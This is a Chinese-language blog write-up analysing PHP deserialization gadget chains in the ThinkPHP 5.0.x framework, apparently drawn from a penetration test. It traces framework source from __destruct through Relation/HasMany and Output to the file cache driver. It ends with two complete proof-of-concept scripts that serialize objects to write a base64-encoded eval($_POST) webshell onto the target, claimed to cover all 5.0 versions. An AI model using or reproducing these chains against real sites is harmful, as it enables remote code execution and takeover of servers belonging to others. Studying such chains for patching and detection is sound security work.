thinkphp5.0.*反序列化链分析(5.0全版本覆盖)

robots

 

在一次渗透测试中遇到了一个基于Thinkphp5.0.10的站,站点具有非常多的disabled function(phpinfo和scandir等常见函数也在里面),最终想到的办法是采用反序列化的方法写shell。在网上找了一圈的反序列化的链子没有一个能用的,向上向下都不兼容。这些反序列化链后面写文件的部分都是相同的,但是前面对think\console\Output类中的__call方法的触发方法不尽相同。最终发现,可以将整个thinkphp5.0系列分为两部分,这两个部分具有不同的可通用的反序列化链。一部分是从5.0.0-5.0.3,另一部分则是5.0.4-5.0.24。

本次实验环境Windows+php7.3.4+apache2.4.39

 

1. thinkphp5.0.0-thinkphp5.0.3

下面以版本ThinkPHP V5.0.3 为例进行分析。
在thinkphp的反序列化链中,大部分网上的触发方法都是从think\process\pipes\Windows的__destruct方法出发

    public function __destruct()
    {
        $this->close();
        $this->removeFiles();
    }

    public function close()
    {
        parent::close();
        foreach ($this->fileHandles as $handle) {
            fclose($handle);
        }
        $this->fileHandles = [];
    }

    private function removeFiles()
    {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) {
                @unlink($filename);
            }
        }
        $this->files = [];
    }

在通过file_exists触发think\Model的__toString魔术方法,然后通过__toString方法调用的toJson,toJson调用的toArray,在toArray中触发think\console\Output中的__call方法。

    public function __toString()
    {
        return $this->toJson();
    }

    public function toJson($options = JSON_UNESCAPED_UNICODE)
    {
        return json_encode($this->toArray(), $options);
    }

但是问题来了
下面是thinkphp5.0.03版本的toArray

    public function toArray()
    {
        $item = [];

        //过滤属性
        if (!empty($this->visible)) {
            $data = array_intersect_key($this->data, array_flip($this->visible));
        } elseif (!empty($this->hidden)) {
            $data = array_diff_key($this->data, array_flip($this->hidden));
        } else {
            $data = $this->data;
        }

        foreach ($data as $key => $val) {
            if ($val instanceof Model || $val instanceof Collection) {
                // 关联模型对象
                $item[$key] = $val->toArray();
            } elseif (is_array($val) && reset($val) instanceof Model) {
                // 关联模型数据集
                $arr = [];
                foreach ($val as $k => $value) {
                    $arr[$k] = $value->toArray();
                }
                $item[$key] = $arr;
            } else {
                // 模型属性
                $item[$key] = $this->getAttr($key);
            }
        }
        // 追加属性(必须定义获取器)
        if (!empty($this->append)) {
            foreach ($this->append as $name) {
                $item[$name] = $this->getAttr($name);
            }
        }
        return !empty($item) ? $item : [];
    }

与之相比,是thinkphp5.0.24的toArray(其实中间的几个版本的toArray也有差别,后面也会提到)

    public function toArray()
    {
        $item    = [];
        $visible = [];
        $hidden  = [];

        $data = array_merge($this->data, $this->relation);

        // 过滤属性
        if (!empty($this->visible)) {
            $array = $this->parseAttr($this->visible, $visible);
            $data  = array_intersect_key($data, array_flip($array));
        } elseif (!empty($this->hidden)) {
            $array = $this->parseAttr($this->hidden, $hidden, false);
            $data  = array_diff_key($data, array_flip($array));
        }

        foreach ($data as $key => $val) {
            if ($val instanceof Model || $val instanceof ModelCollection) {
                // 关联模型对象
                $item[$key] = $this->subToArray($val, $visible, $hidden, $key);
            } elseif (is_array($val) && reset($val) instanceof Model) {
                // 关联模型数据集
                $arr = [];
                foreach ($val as $k => $value) {
                    $arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
                }
                $item[$key] = $arr;
            } else {
                // 模型属性
                $item[$key] = $this->getAttr($key);
            }
        }
        // 追加属性(必须定义获取器)
        if (!empty($this->append)) {
            foreach ($this->append as $key => $name) {
                if (is_array($name)) {
                    // 追加关联对象属性
                    $relation   = $this->getAttr($key);
                    $item[$key] = $relation->append($name)->toArray();
                } elseif (strpos($name, '.')) {
                    list($key, $attr) = explode('.', $name);
                    // 追加关联对象属性
                    $relation   = $this->getAttr($key);
                    $item[$key] = $relation->append([$attr])->toArray();
                } else {
                    $relation = Loader::parseName($name, 1, false);
                    if (method_exists($this, $relation)) {
                        $modelRelation = $this->$relation();
                        $value         = $this->getRelationData($modelRelation);

                        if (method_exists($modelRelation, 'getBindAttr')) {
                            $bindAttr = $modelRelation->getBindAttr();
                            if ($bindAttr) {
                                foreach ($bindAttr as $key => $attr) {
                                    $key = is_numeric($key) ? $attr : $key;
                                    if (isset($this->data[$key])) {
                                        throw new Exception('bind attr has exists:' . $key);
                                    } else {
                                        $item[$key] = $value ? $value->getAttr($attr) : null;
                                    }
                                }
                                continue;
                            }
                        }
                        $item[$name] = $value;
                    } else {
                        $item[$name] = $this->getAttr($name);
                    }
                }
            }
        }
        return !empty($item) ? $item : [];
    }

可以发现,在5.0.3版本中并没有用来调用任意Model中函数的下列代码

    if (method_exists($this, $relation)) {
        $modelRelation = $this->$relation();
        $value         = $this->getRelationData($modelRelation);
        //......
    }

而且用得都是写死的函数,不存在触发其它类魔术方法的条件。只能从头开始换一条__destruct路线进行分析。

一共还有三个的备选项

  1. thinkphp/library/think/process/pipes/Unix.php
     public function __destruct()
     {
         $this->close();
     }
    
     public function close()
     {
         foreach ($this->pipes as $pipe) {
             fclose($pipe);
         }
         $this->pipes = [];
     }
    

    不具备可利用性,pass

  2. thinkphp/library/think/db/Connection.php
     public function __destruct()
     {
         // 释放查询
         if ($this->PDOStatement) {
             $this->free();
         }
         // 关闭连接
         $this->close();
     }
    }
     public function free()
     {
         $this->PDOStatement = null;
     }
     public function close()
     {
         $this->linkID = null;
     }
    

    同样不具备可利用性。

  3. thinkphp/library/think/Process.php
     public function __destruct()
     {
         $this->stop();
     }
     public function stop()
     {
         if ($this->isRunning()) {
             if ('\\' === DS && !$this->isSigchildEnabled()) {
                 exec(sprintf('taskkill /F /T /PID %d 2>&1', $this->getPid()), $output, $exitCode);
                 if ($exitCode > 0) {
                     throw new \RuntimeException('Unable to kill the process');
                 }
             } else {
                 $pids = preg_split('/\s+/', `ps -o pid --no-heading --ppid {$this->getPid()}`);
                 foreach ($pids as $pid) {
                     if (is_numeric($pid)) {
                         posix_kill($pid, 9);
                     }
                 }
             }
         }
    
         $this->updateStatus(false);
         if ($this->processInformation['running']) {
             $this->close();
         }
    
         return $this->exitcode;
     }
    
     public function isRunning()
     {
         if (self::STATUS_STARTED !== $this->status) {
             return false;
         }
    
         $this->updateStatus(false);
    
         return $this->processInformation['running'];
     }
    
     protected function updateStatus($blocking)
     {
         if (self::STATUS_STARTED !== $this->status) {
             return;
         }
    
         $this->processInformation = proc_get_status($this->process);
         $this->captureExitCode();
    
         $this->readPipes($blocking, '\\' === DS ? !$this->processInformation['running'] : true);
    
         if (!$this->processInformation['running']) {
             $this->close();
         }
     }
    
     protected function isSigchildEnabled()
     {
         if (null !== self::$sigchild) {
             return self::$sigchild;
         }
    
         if (!function_exists('phpinfo')) {
             return self::$sigchild = false;
         }
    
         ob_start();
         phpinfo(INFO_GENERAL);
    
         return self::$sigchild = false !== strpos(ob_get_clean(), '--enable-sigchild');
     }
    
     public function getPid()
     {
         if ($this->isSigchildEnabled()) {
             throw new \RuntimeException('This PHP has been compiled with --enable-sigchild. The process identifier can not be retrieved.');
         }
    
         $this->updateStatus(false);
    
         return $this->isRunning() ? $this->processInformation['pid'] : null;
     }
    
     private function close()
     {
         $this->processPipes->close();
         if (is_resource($this->process)) {
             $exitcode = proc_close($this->process);
         } else {
             $exitcode = -1;
         }
    
         $this->exitcode = -1 !== $exitcode ? $exitcode : (null !== $this->exitcode ? $this->exitcode : -1);
         $this->status   = self::STATUS_TERMINATED;
    
         if (-1 === $this->exitcode && null !== $this->fallbackExitcode) {
             $this->exitcode = $this->fallbackExitcode;
         } elseif (-1 === $this->exitcode && $this->processInformation['signaled']
                   && 0 < $this->processInformation['termsig']
         ) {
             $this->exitcode = 128 + $this->processInformation['termsig'];
         }
    
         return $this->exitcode;
     }
    

    注意到,只要是有了proc_get_status的地方就会触发app error,因为我们无法序列化resource对象(我个人测试是这样,如果大佬有方法还请赐教)。这样一看上面除了close方法,就没啥利用点了。而且close方法的第一行就可以触发任意类的__call魔术方法或者任意类的close方法。
    看下close方法

    发现都没啥利用价值。不是没有利用的地方,就是和这里的close触发点没有区别。
    直奔think\console\Output类中的__call魔术方法,企图一步到位。这时候遇到的只能是app error,因为其中的block方法需要2个参数。

     public function __call($method, $args)
     {
         if (in_array($method, $this->styles)) {
             array_unshift($args, $method);
             return call_user_func_array([$this, 'block'], $args);
         }
    
         if ($this->handle && method_exists($this->handle, $method)) {
             return call_user_func_array([$this->handle, $method], $args);
         } else {
             throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
         }
     }
     protected function block($style, $message)
     {
         $this->writeln("<{$style}>{$message}</$style>");
     }
     public function writeln($messages, $type = self::OUTPUT_NORMAL)
     {
         $this->write($messages, true, $type);
     }
    

    那么这边就需要找另一个类的__call魔术方法做跳板,最终发现think\model\Relation是所有__call中利用最方便的(其它的__call我没找到能无条件利用的)

     public function __call($method, $args)
     {
         if ($this->query) {
             switch ($this->type) {
                 case self::HAS_MANY:
                     if (isset($this->where)) {
                         $this->query->where($this->where);
                     } elseif (isset($this->parent->{$this->localKey})) {
                         // 关联查询带入关联条件
                         $this->query->where($this->foreignKey, $this->parent->{$this->localKey});
                     }
                     break;
                 case self::HAS_MANY_THROUGH:
                     $through      = $this->middle;
                     $model        = $this->model;
                     $alias        = Loader::parseName(basename(str_replace('\\', '/', $model)));
                     $throughTable = $through::getTable();
                     $pk           = (new $this->model)->getPk();
                     $throughKey   = $this->throughKey;
                     $modelTable   = $this->parent->getTable();
                     $this->query->field($alias . '.*')->alias($alias)
                         ->join($throughTable, $throughTable . '.' . $pk . '=' . $alias . '.' . $throughKey)
                         ->join($modelTable, $modelTable . '.' . $this->localKey . '=' . $throughTable . '.' . $this->foreignKey)
                         ->where($throughTable . '.' . $this->foreignKey, $this->parent->{$this->localKey});
                     break;
                 case self::BELONGS_TO_MANY:
                     // TODO
    
             }
             $result = call_user_func_array([$this->query, $method], $args);
             if ($result instanceof \think\db\Query) {
                 $this->option = $result->getOptions();
                 return $this;
             } else {
                 $this->option = [];
                 return $result;
             }
         } else {
             throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
         }
     }
    

    不用管其它的,单单是这句,我们就已经有了良好的跳板了

     $this->query->where($this->where);
    

    $this->query和$this->where均可控,这时候再触发Output中的__call就不会有app error了。
    继续跟进,对Output中最后触发的write方法进行查看

     public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL)
     {
         $this->handle->write($messages, $newline, $type);
     }
    

    通过这个方法,我们可以调用任意类的write(这边也不用考虑触发__call魔术方法了)。生成的文件要内容可控,且文件的后缀是php。

    在众多的write方法中,最后认为只有think\session\driver\Memcache和think\session\driver\Memcached利用价值较大。

    //thinkphp/library/think/session/driver/Memcached.php
     public function write($sessID, $sessData)
     {
         return $this->handler->set($this->config['session_name'] . $sessID, $sessData, $this->config['expire']);
     }
    
    //thinkphp/library/think/session/driver/Memcache.php
     public function write($sessID, $sessData)
     {
         return $this->handler->set($this->config['session_name'] . $sessID, $sessData, 0, $this->config['expire']);
     }
    

    继续寻找,含有set的方法的类,到这边,网上已经有很多分析过的文章了,这边就简单写一下路径,不细说了,为了在Windows下也能稳定使用,这里先用think\cache\driver\Memcached做过渡,然后将其中的$this->handler赋值为think\cache\driver\File类的实例。

    //think\cache\Driver
     protected function setTagItem($name)
     {
         if ($this->tag) {
             $key       = 'tag_' . md5($this->tag);
             $this->tag = null;
             if ($this->has($key)) {
                 $value = $this->get($key);
                 $value .= ',' . $name;
             } else {
                 $value = $name;
             }
             $this->set($key, $value);
         }
     }
    
     protected function getCacheKey($name)
     {
         return $this->options['prefix'] . $name;
     }
    
    //think\cache\driver\Memcached
     public function set($name, $value, $expire = null)
     {
         if (is_null($expire)) {
             $expire = $this->options['expire'];
         }
         if ($this->tag && !$this->has($name)) {
             $first = true;
         }
         $key    = $this->getCacheKey($name);
         $expire = 0 == $expire ? 0 : $_SERVER['REQUEST_TIME'] + $expire;
         if ($this->handler->set($key, $value, $expire)) {
             isset($first) && $this->setTagItem($key);
             return true;
         }
         return false;
     }
    
    //think\cache\driver\File
     public function set($name, $value, $expire = null)
     {
         if (is_null($expire)) {
             $expire = $this->options['expire'];
         }
         $filename = $this->getCacheKey($name);
         if ($this->tag && !is_file($filename)) {
             $first = true;
         }
         $data = serialize($value);
         if ($this->options['data_compress'] && function_exists('gzcompress')) {
             //数据压缩
             $data = gzcompress($data, 3);
         }
         $data   = "<?php\n//" . sprintf('%012d', $expire) . $data . "\n?>";
         $result = file_put_contents($filename, $data);
         if ($result) {
             isset($first) && $this->setTagItem($filename);
             clearstatcache();
             return true;
         } else {
             return false;
         }
     }
    
     protected function getCacheKey($name)
     {
         $name = md5($name);
         if ($this->options['cache_subdir']) {
             // 使用子目录
             $name = substr($name, 0, 2) . DS . substr($name, 2);
         }
         if ($this->options['prefix']) {
             $name = $this->options['prefix'] . DS . $name;
         }
         $filename = $this->options['path'] . $name . '.php';
         $dir      = dirname($filename);
         if (!is_dir($dir)) {
             mkdir($dir, 0755, true);
         }
         return $filename;
     }
    

    通过构造base64字符串,再进过伪协议解码后成功写入文件。具体的分析可以参考https://xz.aliyun.com/t/7310。
    结果展示:


poc

<?php
namespace think;


class Process
{
    private $processPipes;

    private $status;

    private $processInformation;
    public function  __construct(){
        $this->processInformation['running']=true;
        $this->status=3;
        $this->processPipes=new \think\model\Relation();
    }

}
namespace think\model;

use think\console\Output;

class Relation
{
    protected $query;
    const HAS_ONE          = 1;
    const HAS_MANY         = 2;
    const HAS_MANY_THROUGH = 5;
    const BELONGS_TO       = 3;
    const BELONGS_TO_MANY  = 4;
    protected $type=2;
    protected $where=1;
    public function __construct()
    {
        $this->query=new Output();
    }
}


namespace think\console;
class Output{
    protected $styles = [
        'info',
        'error',
        'comment',
        'question',
        'highlight',
        'warning',
        'getTable',
        'where'
    ];
    private $handle;
    public function __construct()
    {
        $this->handle = (new \think\session\driver\Memcache);
    }
}
namespace think\session\driver;
class Memcache
{
    protected $handler;
    public function __construct()
    {
        $this->handler = (new \think\cache\driver\Memcached);
    }
}


namespace think\cache\driver;

use think\Process;

class Memcached
{
    protected $tag;
    protected $options;
    protected $handler;

    public function __construct()
    {
        $this->tag = true;
        $this->options = [
            'expire'   => 0,
            'prefix'   => 'PD9waHAgZXZhbCgkX1BPU1RbJ3pjeTIwMTgnXSk7ID8+',
        ];
        $this->handler = (new File);
    }
}

class File
{
    protected $tag;
    protected $options;
    public function __construct()
    {
        $this->tag = false;
        $this->options = [
            'expire'        => 3600,
            'cache_subdir'  => false,
            'prefix'        => '',
            'data_compress' => false,
            'path'          => 'php://filter/convert.base64-decode/resource=./',
        ];
    }
}
use think;
$a=new Process();
echo urlencode(serialize($a));

 

2. thinkphp5.0.4-thinkphp5.0.24

首先要注意的一个变化是以往的利用的Relation类变为了抽象了,无法直接实例化。所以前面的链子到这边也就断了。

下面的审计以thinkphp5.0.10为例,因为这个版本很奇葩,别的版本的poc在它这一直行不通,向上也不兼容,向下也不兼容。如果能在该版本下使用poc大概率是能覆盖thinkphp5.0.4-thinkphp5.0.24的。

还是先看最老的套路能不能行的通,走Window下的__destruct触发Model类的__toString。看下该版本的Model类的toArray方法(前面的过程没有任何变化)

    public function toArray()
    {
        $item    = [];
        $visible = [];
        $hidden  = [];

        $data = array_merge($this->data, $this->relation);

        // 过滤属性
        if (!empty($this->visible)) {
            $array = $this->parseAttr($this->visible, $visible);
            $data  = array_intersect_key($data, array_flip($array));
        } elseif (!empty($this->hidden)) {
            $array = $this->parseAttr($this->hidden, $hidden, false);
            $data  = array_diff_key($data, array_flip($array));
        }

        foreach ($data as $key => $val) {
            if ($val instanceof Model || $val instanceof ModelCollection) {
                // 关联模型对象
                $item[$key] = $this->subToArray($val, $visible, $hidden, $key);
            } elseif (is_array($val) && reset($val) instanceof Model) {
                // 关联模型数据集
                $arr = [];
                foreach ($val as $k => $value) {
                    $arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
                }
                $item[$key] = $arr;
            } else {
                // 模型属性
                $item[$key] = $this->getAttr($key);
            }
        }
        // 追加属性(必须定义获取器)
        if (!empty($this->append)) {
            foreach ($this->append as $key => $name) {
                if (is_array($name)) {
                    // 追加关联对象属性
                    $relation   = $this->getAttr($key);
                    $item[$key] = $relation->append($name)->toArray();
                } elseif (strpos($name, '.')) {
                    list($key, $attr) = explode('.', $name);
                    // 追加关联对象属性
                    $relation   = $this->getAttr($key);
                    $item[$key] = $relation->append([$attr])->toArray();
                } else {
                    $item[$name] = $this->getAttr($name);
                }
            }
        }
        return !empty($item) ? $item : [];
    }

    public function getAttr($name)
    {
        try {
            $notFound = false;
            $value    = $this->getData($name);
        } catch (InvalidArgumentException $e) {
            $notFound = true;
            $value    = null;
        }

        // 检测属性获取器
        $method = 'get' . Loader::parseName($name, 1) . 'Attr';
        if (method_exists($this, $method)) {
            $value = $this->$method($value, $this->data, $this->relation);
        } elseif (isset($this->type[$name])) {
            // 类型转换
            $value = $this->readTransform($value, $this->type[$name]);
        } elseif (in_array($name, [$this->createTime, $this->updateTime])) {
            if (is_string($this->autoWriteTimestamp) && in_array(strtolower($this->autoWriteTimestamp), [
                'datetime',
                'date',
                'timestamp',
            ])
            ) {
                $value = $this->formatDateTime(strtotime($value), $this->dateFormat);
            } else {
                $value = $this->formatDateTime($value, $this->dateFormat);
            }
        } elseif ($notFound) {
            $relation = Loader::parseName($name, 1, false);
            if (method_exists($this, $relation)) {
                $modelRelation = $this->$relation();
                // 不存在该字段 获取关联数据
                $value = $this->getRelationData($modelRelation);
                // 保存关联对象值
                $this->relation[$name] = $value;
            } else {
                throw new InvalidArgumentException('property not exists:' . $this->class . '->' . $name);
            }
        }
        return $value;
    }

    public function getData($name = null)
    {
        if (is_null($name)) {
            return $this->data;
        } elseif (array_key_exists($name, $this->data)) {
            return $this->data[$name];
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        } else {
            throw new InvalidArgumentException('property not exists:' . $this->class . '->' . $name);
        }
    }

仔细观察发现,如果我们能够正常进入if (!empty($this->append)){…}分支,通过getData,我们可以实例化其它类,从而调用其它类具有的append方法或者__call魔术方法。而且可控变量很多,$this->append不为空,将需要实例化的类放入$this->data或者$this->relation,跳过getAttr方法中所有可能遇到的类型转换即可。最终将$this->append数组中的对应值修改成数组即可进入下列语句:

    $relation   = $this->getAttr($key);
    $item[$key] = $relation->append($name)->toArray();

在审计到这时,似乎已经可以触发前面所提到的think\console\Output类的__call了,而且也具有参数。但是在实际过程中,又走到了一生之敌的app error。希望的参数是string类型,给的却是数组。那么如果__call方法不能用的话,是不是可以看看有没有其它类中的append方法,可以做跳板呢。

具有append方法的类并不多,只有两个,一个是Model一个是Collection,跟进查看

//Model
    public function append($append = [], $override = false)
    {
        $this->append = $override ? $append : array_merge($this->append, $append);
        return $this;
    }

不存在利用点

    public function append($append = [], $override = false)
    {
        $this->each(function ($model) use ($append, $override) {
            /** @var Model $model */
            $model->append($append, $override);
        });
        return $this;
    }

这边的参数仍然会是数组,依旧不能直接触发think\console\Output类的__call。同样查看其它类的__call也存在类似问题,所以这条反序列化的链子似乎已经走到死胡同了。但是在已经成为了抽象类的Relation却带来了新的利用方式,但是现在的Relation的__call方法和之前也不大一样了。

    abstract protected function baseQuery();

    public function __call($method, $args)
    {
        if ($this->query) {
            // 执行基础查询
            $this->baseQuery();

            $result = call_user_func_array([$this->query, $method], $args);
            if ($result instanceof Query) {
                return $this;
            } else {
                $this->baseQuery = false;
                return $result;
            }
        } else {
            throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
        }
    }
}

按照之前的分析来看,下面的call_user_func_array是无法有效利用的,所以如果要想找跳板的话,必然是利用了baseQuery方法。

查看后发现触发条件最简单的是think\model\relation\HasMany类中的baseQuery方法。

    protected function baseQuery()
    {
        if (empty($this->baseQuery)) {
            if (isset($this->parent->{$this->localKey})) {
                // 关联查询带入关联条件
                $this->query->where($this->foreignKey, $this->parent->{$this->localKey});
            }
            $this->baseQuery = true;
        }
    }

具有可控参数和触发__call的条件。后面就算将$this->query赋值为think\console\Output类实例,然后和前面低版本的一样触发就行。但是这个还存在一个问题。因为前面触发的toArray的if (!empty($this->append)){…}分支是在thinkphp5.0.05(包括5.0.05)之后才存在的。也就是说这条链子在thinkphp5.0.04版本是行不通的。这时候我们想起了之前对于thinkphp5.0.03版本的反序列化链的挖掘。

和前面低版本的链子一样,直接触发__call方法,但是此时的Relation已经是抽象类了,无法作为跳板利用。结合之前的分析,这边我们采用think\model\relation\HasMany作为跳板进行构造。和低版本相比,除了中间利用了Relation类的子类作为跳板之外,其它地方没有任何区别。
poc

namespace think;


use think\model\relation\HasMany;

class Process
{
    private $processPipes;

    private $status;

    private $processInformation;
    public function  __construct(){
        $this->processInformation['running']=true;
        $this->status=3;
        $this->processPipes=new HasMany();
    }

}
 namespace think;
 class Model{

 }
 namespace think\model;


 use think\Model;
 class Merge extends Model{
     public $a='1';
     public function __construct()
     {
     }
 }



namespace think\model\relation;
use think\console\Output;
use think\db\Query;
use think\model\Merge;
use think\model\Relation;
class HasMany extends Relation
{
    //protected $baseQuery=true;
    protected $parent;
    protected $localKey='a';
    protected $foreignKey='a';
    protected $pivot;
    public function __construct(){
        $this->query=new Output();
        $this->parent= new Merge();

    }
}


namespace think\model;
class Relation
{}
namespace think\db;
class Query{}


namespace think\console;
class Output{
    protected $styles = [
        'info',
        'error',
        'comment',
        'question',
        'highlight',
        'warning',
        'getTable',
        'where'
    ];
    private $handle;
    public function __construct()
    {
        $this->handle = (new \think\session\driver\Memcache);
    }
}
namespace think\session\driver;
class Memcache
{
    protected $handler;
    public function __construct()
    {
        $this->handler = (new \think\cache\driver\Memcached);
    }
}


namespace think\cache\driver;

class Memcached
{
    protected $tag;
    protected $options;
    protected $handler;

    public function __construct()
    {
        $this->tag = true;
        $this->options = [
            'expire'   => 0,
            'prefix'   => 'PD9waHAgZXZhbCgkX1BPU1RbJ3pjeTIwMTgnXSk7ID8+',
        ];
        $this->handler = (new File);
    }
}

class File
{
    protected $tag;
    protected $options;
    public function __construct()
    {
        $this->tag = false;
        $this->options = [
            'expire'        => 3600,
            'cache_subdir'  => false,
            'prefix'        => '',
            'data_compress' => false,
            'path'          => 'php://filter/convert.base64-decode/resource=./',
        ];
    }
}

echo urlencode(serialize(new \think\Process()));

效果如下:

 

3. 总结

如果是从think\process\pipes\Windows的__destruct方法出发,则必须要关注think\Model的toArray方法是否存在利用点,且toArray方法受版本影响较大,经常改变。如果think\Process的__destruct方法出发则需要关注Relation类是否已经变为抽象类,该变化是从thinkphp5.0.04版本开始。之后利用就再无其它变化影响。网上的大部分高版本链子都是从think\process\pipes\Windows的__destruct方法出发,所以在遇到低版本时,会出现错误。判断这类高版本链子在不同版本下是否可用的关键就在于是否在toArray中存在触发点。网上已有的高版本链子我也就不加赘述,拾人牙慧了。

(完)